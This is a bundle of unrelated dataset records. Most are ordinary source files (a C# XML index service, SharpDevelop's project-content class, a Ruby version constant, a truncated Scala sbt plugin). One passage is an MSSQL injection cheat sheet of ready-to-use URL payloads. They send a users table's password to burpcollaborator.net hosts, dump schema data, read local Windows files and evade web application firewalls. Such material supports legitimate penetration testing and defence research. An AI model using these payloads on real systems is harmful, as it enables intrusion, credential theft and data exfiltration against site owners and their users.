text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Xml.Linq;

namespace Xod.Services
{
    internal class IndexService
    {
        //private static readonly object locker = new object();
        //private static Dictionary<string, List<IndexRange>> index { get; set; }

        private PropertyService propertyService = null;

        internal IndexService(PropertyService propertyService)
        {
            this.propertyService = propertyService;

            //if (index == null)
            //{
            //    lock(locker)
            //    {
            //        if (index == null)
            //            index = new Dictionary<string, List<IndexRange>>();
            //    }
            //}
        }

        internal Dictionary<string, dynamic> Index(Type type, Dictionary<string, dynamic> autonumbers, XElement page)
        {
            //string pageFile = page.Attribute("file").Value;
            //if (!index.ContainsKey(pageFile))
            //    return null;

            var props = this.propertyService.Properties(type.FullName).Where(s => autonumbers.ContainsKey(s.PropertyName));
            //lock (locker)
            //{
                foreach (var prop in props)
                {
                    var seed = prop.IdentitySeed;
                    var incr = prop.IdentityIncrement;
                    var value = autonumbers[prop.PropertyName];
                    bool guid = prop.PropertyType == typeof(Guid);

                    XElement indexElm = null;
                    bool createElm = !page.HasElements;
                    if (createElm)
                    {
                        indexElm = new XElement("Index", new XAttribute("property", prop.PropertyName));
                        page.Add(indexElm);
                    }
                    else
                    {
                        indexElm = page.Elements().FirstOrDefault(s => s.Name.LocalName == "Index" && s.Attribute("property").Value == prop.PropertyName);
                    }

                    if (guid)
                    {
                        string initial = "a"; //autogenerated
                        string newValue = initial + value.ToString().Substring(0, initial.Length);
                        value = new Guid(newValue);
                        autonumbers[prop.PropertyName] = value;
                        var patternAttr = indexElm.Attribute("pattern");
                        if (patternAttr != null)
                            patternAttr.Value = initial;
                        else
                            indexElm.Add(new XAttribute("pattern", initial));
                    }
                    else
                    {
                        var endsAttr = indexElm.Attribute("ends");
                        if (endsAttr != null)
                            endsAttr.Value = value.ToString();
                        else
                        {
                            indexElm.Add(new XAttribute("ends", value));
                        }
                    }
                }

                return autonumbers;
            //}
        }

        private void Create(Type type, Dictionary<string, dynamic> autonumbers, XElement page)
        {
            throw new NotImplementedException();
        }

        internal void Remove(Type type)
        {
            //lock (index)
            //{
            //    var keys = index.Where(s =>
            //        s.Value.Where(r => r.Type.Equals(type)).Any()).Select(s=> s.Key)
            //        .ToArray();
            //    foreach(var key in keys)
            //    {
            //        index.Remove(key);

            //        //remove from .xpag file...
            //    }
            //}
        }
    }
}


text:
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;

namespace ICSharpCode.SharpDevelop.Dom
{
	public class DefaultProjectContent : IProjectContent
	{
		readonly List<IProjectContent> referencedContents = new List<IProjectContent>();

		// we use a list of Dictionaries because we need multiple dictionaries:
		// each uses another StringComparer
		// (C#: StringComparer.InvariantCulture, VB: StringComparer.InvariantCultureCaseInsensitive)
		// new dictionaries are added to the list when required
		List<Dictionary<string, IClass>> classLists = new List<Dictionary<string, IClass>>();
		List<Dictionary<string, NamespaceStruct>> namespaces = new List<Dictionary<string, NamespaceStruct>>();

		XmlDoc xmlDoc = new XmlDoc();
		IUsing defaultImports;

		public IUsing DefaultImports {
			get {
				return defaultImports;
			}
			set {
				defaultImports = value;
			}
		}

		public virtual object Project {
			get {
				return null;
			}
		}

		/// <summary>
		/// Gets if the project content is representing the current version of the assembly.
		/// This property always returns true for ParseProjectContents but might return false
		/// for ReflectionProjectContent/CecilProjectContent if the file was changed.
		/// </summary>
		public virtual bool IsUpToDate {
			get {
				return true;
			}
		}

		public List<Dictionary<string, IClass>> ClassLists {
			get {
				if (classLists.Count == 0) {
					classLists.Add(new Dictionary<string, IClass>(language.NameComparer));
				}
				return classLists;
			}
		}

		public ICollection<string> NamespaceNames {
			get {
				return Namespaces[0].Keys;
			}
		}

		protected List<Dictionary<string, NamespaceStruct>> Namespaces {
			get {
				if (namespaces.Count == 0) {
					namespaces.Add(new Dictionary<string, NamespaceStruct>(language.NameComparer));
				}
				return namespaces;
			}
		}

		protected struct NamespaceStruct
		{
			public readonly List<IClass> Classes;
			public readonly List<string> SubNamespaces;

			public NamespaceStruct(string name) // struct must have a parameter
			{
				this.Classes = new List<IClass>();
				this.SubNamespaces = new List<string>();
			}
		}

		/// <summary>
		/// Gets the class dictionary that uses the name comparison rules of <paramref name="language"/>.
		/// </summary>
		protected Dictionary<string, IClass> GetClasses(LanguageProperties language)
		{
			for (int i = 0; i < classLists.Count; ++i) {
				if (classLists[i].Comparer == language.NameComparer)
					return classLists[i];
			}
			Dictionary<string, IClass> d;
			if (classLists.Count > 0) {
				Dictionary<string, IClass> oldList = classLists[0];
				d = new Dictionary<string, IClass>(oldList.Count, language.NameComparer);
				foreach (KeyValuePair<string, IClass> pair in oldList) {
					// don't use d.Add(), the new name language might treat two names as equal
					// that were unequal in the old dictionary
					d[pair.Key] = pair.Value;
				}
			} else {
				d = new Dictionary<string, IClass>(language.NameComparer);
			}
			classLists.Add(d);
			return d;
		}

		/// <summary>
		/// Gets the namespace dictionary that uses the name comparison rules of <paramref name="language"/>.
		/// </summary>
		protected Dictionary<string, NamespaceStruct> GetNamespaces(LanguageProperties language)
		{
			for (int i = 0; i < namespaces.Count; ++i) {
				if (namespaces[i].Comparer == language.NameComparer)
					return namespaces[i];
			}
			Dictionary<string, NamespaceStruct> d;
			if (namespaces.Count > 0) {
				Dictionary<string, NamespaceStruct> oldList = namespaces[0];
				d = new Dictionary<string, NamespaceStruct>(oldList.Count, language.NameComparer);
				foreach (KeyValuePair<string, NamespaceStruct> pair in oldList) {
					d.Add(pair.Key, pair.Value);
				}
			} else {
				d = new Dictionary<string, NamespaceStruct>(language.NameComparer);
			}
			namespaces.Add(d);
			return d;
		}

		public XmlDoc XmlDoc {
			get {
				return xmlDoc;
			}
			protected set {
				xmlDoc = value;
			}
		}

		public ICollection<IClass> Classes {
			get {
				lock (namespaces) {
					List<IClass> list = new List<IClass>(ClassLists[0].Count + 10);
					foreach (IClass c in ClassLists[0].Values) {
						if (c is GenericClassContainer) {
							GenericClassContainer gcc = (GenericClassContainer)c;
							list.AddRange(gcc.RealClasses);
						} else {
							list.Add(c);
						}
					}
					return list;
				}
			}
		}

		SystemTypes systemTypes;

		/// <summary>
		/// Gets a class that allows to conveniently access commonly used types in the system
		/// namespace.
		/// </summary>
		public virtual SystemTypes SystemTypes {
			get {
				if (systemTypes == null) {
					systemTypes = new SystemTypes(this);
				}
				return systemTypes;
			}
		}

		public ICollection<IProjectContent> ReferencedContents {
			get {
				return referencedContents;
			}
		}

		LanguageProperties language = LanguageProperties.CSharp;

		/// <summary>
		/// Gets/Sets the properties of the language this project content was written in.
		/// </summary>
		public LanguageProperties Language {
			[DebuggerStepThrough]
			get {
				return language;
			}
			set {
				if (value == null) throw new ArgumentNullException();
				language = value;
			}
		}

		public string GetXmlDocumentation(string memberTag)
		{
			string desc = xmlDoc.GetDocumentation(memberTag);
			if (desc != null) {
				return desc;
			}
			lock (referencedContents) {
				foreach (IProjectContent referencedContent in referencedContents) {
					desc = referencedContent.XmlDoc.GetDocumentation(memberTag);
					if (desc != null) {
						return desc;
					}
				}
			}
			return null;
		}

		public virtual void Dispose()
		{
			xmlDoc.Dispose();
		}

		public void AddClassToNamespaceList(IClass addClass)
		{
			lock (namespaces) {
				AddClassToNamespaceListInternal(addClass);
			}
			DomCache.Clear();
		}

		/// <summary>
		/// Container class that is used when multiple classes with different type parameter
		/// count have the same class name.
		/// </summary>
		private class GenericClassContainer : DefaultClass
		{
			public GenericClassContainer(string fullyQualifiedName) : base(DefaultCompilationUnit.DummyCompilationUnit, fullyQualifiedName) {}

			IClass[] realClasses = new IClass[4];

			public IEnumerable<IClass> RealClasses {
				get {
					foreach (IClass c in realClasses) {
						if (c != null) yield return c;
					}
				}
			}

			public int RealClassCount {
				get {
					int count = 0;
					foreach (IClass c in realClasses) {
						if (c != null) count += 1;
					}
					return count;
				}
			}

			public IClass Get(int typeParameterCount)
			{
				if (realClasses.Length > typeParameterCount)
					return realClasses[typeParameterCount];
				else
					return null;
			}

			public IClass GetBest(int typeParameterCount)
			{
				IClass c;
				for (int i = typeParameterCount; i < realClasses.Length; i++) {
					c = Get(i);
					if (c != null) return c;
				}
				for (int i = typeParameterCount - 1; i >= 0; i--) {
					c = Get(i);
					if (c != null) return c;
				}
				return null;
			}

			public void Set(IClass c)
			{
				int typeParameterCount = c.TypeParameters.Count;
				if (realClasses.Length <= typeParameterCount) {
					IClass[] newArray = new IClass[typeParameterCount + 2];
					realClasses.CopyTo(newArray, 0);
					realClasses = newArray;
				}
				realClasses[typeParameterCount] = c;
			}

			public void Remove(int typeParameterCount)
			{
				if (realClasses.Length > typeParameterCount)
					realClasses[typeParameterCount] = null;
			}
		}

		static bool IsEqualFileName(string fileName1, string fileName2)
		{
			return ICSharpCode.Core.FileUtility.IsEqualFileName(fileName1, fileName2);
		}

		protected void AddClassToNamespaceListInternal(IClass addClass)
		{
			// Freeze the class when adding it to the project content
			addClass.Freeze();

			Debug.Assert(!(addClass is CompoundClass));
			Debug.Assert(!addClass.HasCompoundClass);

			string fullyQualifiedName = addClass.FullyQualifiedName;
			IClass existingClass = GetClassInternal(fullyQualifiedName, addClass.TypeParameters.Count, language);
			if (existingClass != null && existingClass.TypeParameters.Count == addClass.TypeParameters.Count) {
				LoggingService.Debug("Adding existing class " + addClass.Name + " from " + Path.GetFileName(addClass.CompilationUnit.FileName));
				CompoundClass compound = existingClass as CompoundClass;
				if (compound != null) {
					// mark the class as partial
					// (VB allows specifying the 'partial' modifier only on one part)
					addClass.HasCompoundClass = true;

					// add the new class to the compound class
					List<IClass> newParts = new List<IClass>(compound.Parts);
					newParts.Add(addClass);
					// construct a replacement CompoundClass with the new part list
					addClass = CompoundClass.Create(newParts);
					LoggingService.Debug("Added new part (old part count=" + compound.Parts.Count +", new part count=" + newParts.Count + ")");
				} else {
					// Instead of overwriting a class with another, treat both parts as partial.
					// This fixes SD2-1217.

					if (!(addClass.IsPartial || language.ImplicitPartialClasses)) {
						LoggingService.Info("Duplicate class " + fullyQualifiedName + ", creating compound");
					} else {
						LoggingService.Debug("Creating compound for " + fullyQualifiedName);
					}

					// Merge existing non-partial class with addClass
					addClass.HasCompoundClass = true;
					existingClass.HasCompoundClass = true;

					addClass = CompoundClass.Create(new[] { addClass, existingClass });
				}
			}
			AddClassToNamespaceListInternal2(addClass);
		}

		void AddClassToNamespaceListInternal2(IClass addClass)
		{
			string fullyQualifiedName = addClass.FullyQualifiedName;
			IClass oldDictionaryClass;
			if (GetClasses(language).TryGetValue(fullyQualifiedName, out oldDictionaryClass)) {
				GenericClassContainer gcc = oldDictionaryClass as GenericClassContainer;
				if (gcc != null) {
					gcc.Set(addClass);
					return;
				} else if (oldDictionaryClass.TypeParameters.Count != addClass.TypeParameters.Count) {
					gcc = new GenericClassContainer(fullyQualifiedName);
					gcc.Set(addClass);
					gcc.Set(oldDictionaryClass);
					addClass = gcc;
				}
			}

			foreach (Dictionary<string, IClass> classes in ClassLists) {
				classes[fullyQualifiedName] = addClass;
			}
			string nSpace = addClass.Namespace;
			if (nSpace == null) {
				nSpace = String.Empty;
			}
			CreateNamespace(nSpace);
			List<IClass> classList = GetNamespaces(this.language)[nSpace].Classes;
			for (int i = 0; i < classList.Count; i++) {
				if (classList[i].FullyQualifiedName == fullyQualifiedName) {
					classList[i] = addClass;
					return;
				}
			}
			classList.Add(addClass);
		}

		void CreateNamespace(string nSpace)
		{
			Dictionary<string, NamespaceStruct> dict = GetNamespaces(this.language);
			if (dict.ContainsKey(nSpace))
				return;
			NamespaceStruct namespaceStruct = new NamespaceStruct(nSpace);
			dict.Add(nSpace, namespaceStruct);
			// use the same namespaceStruct for all dictionaries
			foreach (Dictionary<string, NamespaceStruct> otherDict in namespaces) {
				if (otherDict == dict) continue;
				otherDict.Add(nSpace, namespaceStruct);
			}
			if (nSpace.Length == 0)
				return;
			// add to parent namespace
			int pos = nSpace.LastIndexOf('.');
			string parent;
			string subNs;
			if (pos < 0) {
				parent = "";
				subNs = nSpace;
			} else {
				parent = nSpace.Substring(0, pos);
				subNs = nSpace.Substring(pos + 1);
			}
			CreateNamespace(parent);
			dict[parent].SubNamespaces.Add(subNs);
		}

		/// <summary>
		/// Removes the specified namespace from all namespace lists if the namespace is empty.
		/// </summary>
		void RemoveEmptyNamespace(string nSpace)
		{
			if (nSpace == null || nSpace.Length == 0) return;
			Dictionary<string, NamespaceStruct> dict = GetNamespaces(this.language);
			if (!dict.ContainsKey(nSpace))
				return;
			// remove only if really empty
			if (dict[nSpace].Classes.Count > 0 || dict[nSpace].SubNamespaces.Count > 0)
				return;
			// remove the namespace from all dictionaries
			foreach (Dictionary<string, NamespaceStruct> anyDict in namespaces) {
				anyDict.Remove(nSpace);
			}
			// remove the namespace from parent's SubNamespaces list
			int pos = nSpace.LastIndexOf('.');
			string parent;
			string subNs;
			if (pos < 0) {
				parent = "";
				subNs = nSpace;
			} else {
				parent = nSpace.Substring(0, pos);
				subNs = nSpace.Substring(pos + 1);
			}
			dict[parent].SubNamespaces.Remove(subNs);
			RemoveEmptyNamespace(parent); // remove parent if also empty
		}

		List<IAttribute> assemblyAttributes = new List<IAttribute>();

		public virtual IList<IAttribute> GetAssemblyAttributes()
		{
			lock (namespaces) {
				return assemblyAttributes.ToArray();
			}
		}

		public void RemoveCompilationUnit(ICompilationUnit unit)
		{
			lock (namespaces) {
				foreach (IClass c in unit.Classes) {
					RemoveClass(c);
				}
				foreach (IAttribute attr in unit.Attributes)
					assemblyAttributes.Remove(attr);
			}
			DomCache.Clear();
		}

		public void UpdateCompilationUnit(ICompilationUnit oldUnit, ICompilationUnit parserOutput, string fileName)
		{
			parserOutput.Freeze();
			lock (namespaces) {
				if (oldUnit != null) {
					foreach (IClass c in oldUnit.Classes)
						RemoveClass(c);
					foreach (IAttribute attr in oldUnit.Attributes)
						assemblyAttributes.Remove(attr);
				}

				foreach (IClass c in parserOutput.Classes) {
					AddClassToNamespaceListInternal(c);
				}
				assemblyAttributes.AddRange(parserOutput.Attributes);
			}
			DomCache.Clear();
		}

		protected void RemoveClass(IClass @class)
		{
			string fullyQualifiedName = @class.FullyQualifiedName;
			int typeParameterCount = @class.TypeParameters.Count;
			if (@class.HasCompoundClass) {
				LoggingService.Debug("Removing part " + @class.CompilationUnit.FileName + " from compound class " + @class.FullyQualifiedName);

				// remove a part of a partial class
				// Use "as" cast to fix SD2-680: the stored class might be a part not marked as partial
				CompoundClass compound = GetClassInternal(fullyQualifiedName, typeParameterCount, language) as CompoundClass;
				if (compound == null) {
					LoggingService.Warn("compound class not found");
					return;
				}
				typeParameterCount = compound.TypeParameters.Count;

				List<IClass> newParts = new List<IClass>(compound.Parts);
				newParts.Remove(@class);
				if (newParts.Count > 1) {
					LoggingService.Debug("Part removed, old part count = " + compound.Parts.Count + ", new part count=" + newParts.Count);
					AddClassToNamespaceListInternal2(CompoundClass.Create(newParts));
					return;
				} else if (newParts.Count == 1) {
					LoggingService.Debug("Second-to-last part removed (old part count = " + compound.Parts.Count + "), overwriting compound with last part");
					newParts[0].HasCompoundClass = false;
					AddClassToNamespaceListInternal2(newParts[0]);
					return;
				} else { // newParts.Count == 0
					// this should not be possible, the compound should have been destroyed when there was only 1 part left
					LoggingService.Warn("All parts removed, remove compound");
					@class = compound; // all parts removed, remove compound class
				}
			}

			IClass classInDictionary;
			if (!GetClasses(language).TryGetValue(fullyQualifiedName, out classInDictionary)) {
				return;
			}

			GenericClassContainer gcc = classInDictionary as GenericClassContainer;
			if (gcc != null) {
				gcc.Remove(typeParameterCount);
				if (gcc.RealClassCount > 0) {
					return;
				}
			}

			foreach (Dictionary<string, IClass> classes in ClassLists) {
				classes.Remove(fullyQualifiedName);
			}

			string nSpace = @class.Namespace;
			if (nSpace == null) {
				nSpace = String.Empty;
			}

			// Remove class from namespace lists
			List<IClass> classList = GetNamespaces(this.language)[nSpace].Classes;
			for (int i = 0; i < classList.Count; i++) {
				if (language.NameComparer.Equals(classList[i].FullyQualifiedName, fullyQualifiedName)) {
					classList.RemoveAt(i);
					break;
				}
			}
			if (classList.Count == 0) {
				RemoveEmptyNamespace(nSpace);
			}
		}

		#region Default Parser Layer dependent functions
		public IClass GetClass(string typeName, int typeParameterCount)
		{
			return GetClass(typeName, typeParameterCount, language, GetClassOptions.Default);
		}

		protected IClass GetClassInternal(string typeName, int typeParameterCount, LanguageProperties language)
		{
			lock (namespaces) {
				IClass c;
				if (GetClasses(language).TryGetValue(typeName, out c)) {
					GenericClassContainer gcc = c as GenericClassContainer;
					if (gcc != null) {
						return gcc.GetBest(typeParameterCount);
					}
					return c;
				}
				return null;
			}
		}

		bool IsAccessibleClass(IClass c)
		{
			// check the outermost class (which is either public or internal)
			while (c.DeclaringType != null)
				c = c.DeclaringType;
			return c.IsPublic || c.ProjectContent.InternalsVisibleTo(this);
		}

		public IClass GetClass(string typeName, int typeParameterCount, LanguageProperties language, GetClassOptions options)
		{
			IClass c = GetClassInternal(typeName, typeParameterCount, language);
			if (c != null && c.TypeParameters.Count == typeParameterCount) {
				return c;
			}

			// Search in references:
			if ((options & GetClassOptions.LookInReferences) != 0) {
				lock (referencedContents) {
					foreach (IProjectContent content in referencedContents) {
						IClass contentClass = content.GetClass(typeName, typeParameterCount, language, GetClassOptions.None);
						if (contentClass != null) {
							if (contentClass.TypeParameters.Count == typeParameterCount
							    && IsAccessibleClass(contentClass))
							{
								return contentClass;
							} else {
								c = contentClass;
							}
						}
					}
				}
			}

			if (c != null) {
				return c;
			}

			if ((options & GetClassOptions.LookForInnerClass) != 0) {
				// not found -> maybe nested type -> trying to find class that contains this one.
				int lastIndex = typeName.LastIndexOf('.');
				if (lastIndex > 0) {
					string outerName = typeName.Substring(0, lastIndex);
					IClass upperClass = GetClass(outerName, typeParameterCount, language, options);
					if (upperClass != null) {
						foreach (IClass upperBaseClass in upperClass.ClassInheritanceTree) {
							IList<IClass> innerClasses = upperBaseClass.InnerClasses;
							if (innerClasses != null) {
								string innerName = typeName.Substring(lastIndex + 1);
								foreach (IClass innerClass in innerClasses) {
									if (language.NameComparer.Equals(innerClass.Name, innerName)) {
										return innerClass;
									}
								}
							}
						}
					}
				}
			}
			return null;
		}

		public ArrayList GetNamespaceContents(string nameSpace)
		{
			ArrayList namespaceList = new ArrayList();
			AddNamespaceContents(namespaceList, nameSpace, language, true);
			return namespaceList;
		}

		/// <summary>
		/// Adds the contents of the specified <paramref name="nameSpace"/> to the <paramref name="list"/>.
		/// </summary>
		public void AddNamespaceContents(ArrayList list, string nameSpace, LanguageProperties language, bool lookInReferences)
		{
			if (nameSpace == null) {
				return;
			}

			if (lookInReferences) {
				lock (referencedContents) {
					foreach (IProjectContent content in referencedContents) {
						content.AddNamespaceContents(list, nameSpace, language, false);
					}
				}
			}

			Dictionary<string, NamespaceStruct> dict = GetNamespaces(language);
			if (dict.ContainsKey(nameSpace)) {
				NamespaceStruct ns = dict[nameSpace];
				int newCapacity = list.Count + ns.Classes.Count + ns.SubNamespaces.Count;
				if (list.Capacity < newCapacity)
					list.Capacity = Math.Max(list.Count * 2, newCapacity);
				foreach (IClass c in ns.Classes) {
					if (c is GenericClassContainer) {
						foreach (IClass realClass in ((GenericClassContainer)c).RealClasses) {
							AddNamespaceContentsClass(list, realClass, language, lookInReferences);
						}
					} else {
						AddNamespaceContentsClass(list, c, language, lookInReferences);
					}
				}
				foreach (string subns in ns.SubNamespaces) {
					if (!list.Contains(subns))
						list.Add(subns);
				}
			}
		}

		void AddNamespaceContentsClass(ArrayList list, IClass c, LanguageProperties language, bool lookInReferences)
		{
			if (c.IsInternal && !lookInReferences) {
				// internal class and we are looking at it from another project content
				return;
			}
			if (language.ShowInNamespaceCompletion(c))
				list.Add(c);
			if (language.ImportModules && c.ClassType == ClassType.Module) {
				foreach (IMember m in c.Methods) {
					if (m.IsAccessible(null, false))
						list.Add(m);
				}
				foreach (IMember m in c.Events) {
					if (m.IsAccessible(null, false))
						list.Add(m);
				}
				foreach (IMember m in c.Fields) {
					if (m.IsAccessible(null, false))
						list.Add(m);
				}
				foreach (IMember m in c.Properties) {
					if (m.IsAccessible(null, false))
						list.Add(m);
				}
			}
		}

		public bool NamespaceExists(string name)
		{
			return NamespaceExists(name, language, true);
		}

		public bool NamespaceExists(string name, LanguageProperties language, bool lookInReferences)
		{
			if (name == null) {
				return false;
			}

			if (lookInReferences) {
				lock (referencedContents) {
					foreach (IProjectContent content in referencedContents) {
						if (content.NamespaceExists(name, language, false)) {
							return true;
						}
					}
				}
			}

			return GetNamespaces(language).ContainsKey(name);
		}

		public string SearchNamespace(string name, IClass curType, ICompilationUnit unit, int caretLine, int caretColumn)
		{
			return SearchType(new SearchTypeRequest(name, 0, curType, unit, caretLine, caretColumn)).NamespaceResult;
		}

		bool MatchesRequest(ref SearchTypeRequest request, ref SearchTypeResult result)
		{
			if (result.NamespaceResult != null)
				return request.TypeParameterCount == 0;
			else {
				IReturnType rt = result.Result;
				if (rt == null)
					return false;
				if (rt.TypeArgumentCount != request.TypeParameterCount)
					return false;
				IClass c = rt.GetUnderlyingClass();
				if (c != null)
					return IsAccessibleClass(c);
				else
					return true;
			}
		}

		public SearchTypeResult SearchType(SearchTypeRequest request)
		{
			string name = request.Name;
			if (string.IsNullOrEmpty(name)) {
				return SearchTypeResult.Empty;
			}

			// 'result' holds the fall-back result if no result with the right type parameter count is found.
			SearchTypeResult result = SearchTypeResult.Empty;

			if (name.IndexOf('.') < 0) {
				for (IClass outerClass = request.CurrentType; outerClass != null; outerClass = outerClass.DeclaringType) {
					// Try inner classes (in full inheritance tree)
					// Don't use loop with cur = cur.BaseType because of inheritance cycles
					foreach (IClass baseClass in outerClass.ClassInheritanceTree) {
						if (baseClass.ClassType == ClassType.Class) {
							foreach (IClass innerClass in baseClass.InnerClasses) {
								if (language.NameComparer.Equals(innerClass.Name, name)) {
									result = new SearchTypeResult(innerClass);
									if (MatchesRequest(ref request, ref result)) {
										return result;
									}
								}
							}
						}
					}
				}
			}

			for (IUsingScope usingScope = request.CurrentUsingScope; usingScope != null; usingScope = usingScope.Parent) {
				string fullname;
				if (string.IsNullOrEmpty(usingScope.NamespaceName)) {
					// Try if name is already the full type name
					fullname = name;
				} else {
					fullname = usingScope.NamespaceName + "." + name;
				}
				IClass c = GetClass(fullname, request.TypeParameterCount);
				if (c != null) {
					result = new SearchTypeResult(c);
					if (MatchesRequest(ref request, ref result)) {
						return result;
					}
				}
				if (NamespaceExists(fullname)) {
					result = new SearchTypeResult(fullname, null);
					if (MatchesRequest(ref request, ref result)) {
						return result;
					}
				}

				foreach (IUsing u in usingScope.Usings) {
					foreach (IReturnType r in u.SearchType(name, request.TypeParameterCount)) {
						result = new SearchTypeResult(r, u);
						if (MatchesRequest(ref request, ref result)) {
							return result;
						}
					}
					string nsResult = u.SearchNamespace(name);
					if (nsResult != null) {
						result = new SearchTypeResult(nsResult, null);
						if (MatchesRequest(ref request, ref result)) {
							return result;
						}
					}
				}
			}

			if (defaultImports != null) {
				foreach (IReturnType r in defaultImports.SearchType(name, request.TypeParameterCount)) {
					result = new SearchTypeResult(r, defaultImports);
					if (MatchesRequest(ref request, ref result)) {
						return result;
					}
				}
				string nsResult = defaultImports.SearchNamespace(name);
				if (nsResult != null) {
					result = new SearchTypeResult(nsResult, null);
					if (MatchesRequest(ref request, ref result)) {
						return result;
					}
				}
			}
			return result;
		}

		/// <summary>
		/// Gets the position of a member in this project content (not a referenced one).
		/// </summary>
		/// <param name="fullMemberName">The full class name in Reflection syntax (always case sensitive, ` for generics)</param>
		/// <param name="lookInReferences">Whether to search in referenced project contents.</param>
		public IClass GetClassByReflectionName(string className, bool lookInReferences)
		{
			if (className == null)
				throw new ArgumentNullException("className");
			className = className.Replace('+', '.');
			if (className.Length > 2 && className[className.Length - 2] == '`') {
				int typeParameterCount = className[className.Length - 1] - '0';
				if (typeParameterCount < 0) typeParameterCount = 0;
				className = className.Substring(0, className.Length - 2);
				return GetClass(className, typeParameterCount, LanguageProperties.CSharp, GetClassOptions.Default);
			} else {
				return GetClass(className, 0, LanguageProperties.CSharp, GetClassOptions.Default);
			}
		}

		/// <summary>
		/// Gets the position of a member in this project content (not a referenced one).
		/// </summary>
		/// <param name="fullMemberName">The member name in Reflection syntax (always case sensitive, ` for generics).
		/// member name = [ExplicitInterface .] MemberName [`TypeArgumentCount] [(Parameters)]</param>
		public static IMember GetMemberByReflectionName(IClass curClass, string fullMemberName)
		{
			if (curClass == null)
				return null;
			int pos = fullMemberName.IndexOf('(');
			if (pos > 0) {
				// is method call

				int colonPos = fullMemberName.LastIndexOf(':');
				if (colonPos > 0) {
					fullMemberName = fullMemberName.Substring(0, colonPos);
				}

				string interfaceName = null;
				string memberName = fullMemberName.Substring(0, pos);
				int pos2 = memberName.LastIndexOf('.');
				if (pos2 > 0) {
					interfaceName = memberName.Substring(0, pos2);
					memberName = memberName.Substring(pos2 + 1);
				}

				// put class name in front of full member name because we'll compare against it later
				fullMemberName = curClass.DotNetName + "." + fullMemberName;

				IMethod firstMethod = null;
				foreach (IMethod m in curClass.Methods) {
					if (m.Name == memberName) {
						if (firstMethod == null) firstMethod = m;
						StringBuilder dotnetName = new StringBuilder(m.DotNetName);
						dotnetName.Append('(');
						for (int i = 0; i < m.Parameters.Count; i++) {
							if (i > 0) dotnetName.Append(',');
							if (m.Parameters[i].ReturnType != null) {
								dotnetName.Append(m.Parameters[i].ReturnType.DotNetName);
							}
						}
						dotnetName.Append(')');
						if (dotnetName.ToString() == fullMemberName) {
							return m;
						}
					}
				}
				return firstMethod;
			} else {
				string interfaceName = null;
				string memberName = fullMemberName;
				pos = memberName.LastIndexOf('.');
				if (pos > 0) {
					interfaceName = memberName.Substring(0, pos);
					memberName = memberName.Substring(pos + 1);
				}
				// get first method with that name, but prefer method without parameters
				IMethod firstMethod = null;
				foreach (IMethod m in curClass.Methods) {
					if (m.Name == memberName) {
						if (firstMethod == null || m.Parameters.Count == 0)
							firstMethod = m;
					}
				}
				if (firstMethod != null)
					return firstMethod;
				return curClass.SearchMember(memberName, LanguageProperties.CSharp);
			}
		}

		public FilePosition GetPosition(IEntity d)
		{
			IMember m = d as IMember;
			IClass c = d as IClass;
			if (m != null) {
				return new FilePosition(m.DeclaringType.CompilationUnit, m.Region.BeginLine, m.Region.BeginColumn);
			} else if (c != null) {
				return new FilePosition(c.CompilationUnit, c.Region.BeginLine, c.Region.BeginColumn);
			} else {
				return FilePosition.Empty;
			}
		}
		#endregion

		public void AddReferencedContent(IProjectContent pc)
		{
			if (pc != null) {
				lock (this.ReferencedContents) {
					this.ReferencedContents.Add(pc);
				}
			}
		}

		public event EventHandler ReferencedContentsChanged;

		protected virtual void OnReferencedContentsChanged(EventArgs e)
		{
			systemTypes = null; // re-create system types
			DomCache.Clear();
			if (ReferencedContentsChanged != null) {
				ReferencedContentsChanged(this, e);
			}
		}

		public bool InternalsVisibleTo(IProjectContent otherProjectContent)
		{
			return this == otherProjectContent;
		}

		public static readonly IProjectContent DummyProjectContent = new DummyContent();

		private class DummyContent : DefaultProjectContent
		{
			public override string ToString()
			{
				return "[DummyProjectContent]";
			}

			public override SystemTypes SystemTypes {
				get {
					return HostCallback.GetCurrentProjectContent().SystemTypes;
				}
			}
		}
	}
}

redpajama_set_name: RedPajamaGithub


text:
module BrowserMob
  module CLI
    VERSION = "0.1.5"
  end
end


text:
```
?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```

### fn_trace_gettable()

```
?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```

## Alternative Error-Based vectors

```
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
```

Example: `1'%2buser_name(@@version)--`

##  Retrieve an entire table in one query

```
?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```

```
?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```

## Reading local files

```
?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x)),null,null
```

### Error-based vector

```
?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```

## Retrieving the current query

```
?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```

## WAF bypasses

Non-standard whitespace characters: %C2%85 или %C2%A0:

```
?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```

Scientific (0e) and hex (0x) notation for obfuscating UNION:

```
?id=0eunion+select+null,@@version,null--
```
```
?id=0xunion+select+null,@@version,null--
```

A period instead of a whitespace between FROM and a column name:

```
?id=1+union+select+null,@@version,null+from.users--
```

\N seperator between SELECT and a throwaway column:

```
?id=0xunion+select\Nnull,@@version,null+from+users--
```

### Source

https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/


text:
package sbtraml

import java.io.{FileInputStream, InputStreamReader}
import org.jsonschema2pojo.AnnotationStyle
import org.raml.jaxrs.codegen.core.Configuration.JaxrsVersion
import org.raml.jaxrs.codegen.core.Generator
import collection.JavaConversions._
import sbt._
import Keys._

object RamlPlugin extends Plugin {
  val ramlFilename = SettingKey[String]("raml-filename", "The name of the main RAML file.")
  val ramlSourceDirectory = SettingKey[File]("raml-source-directory", "Directory location of the RAML file(s).")

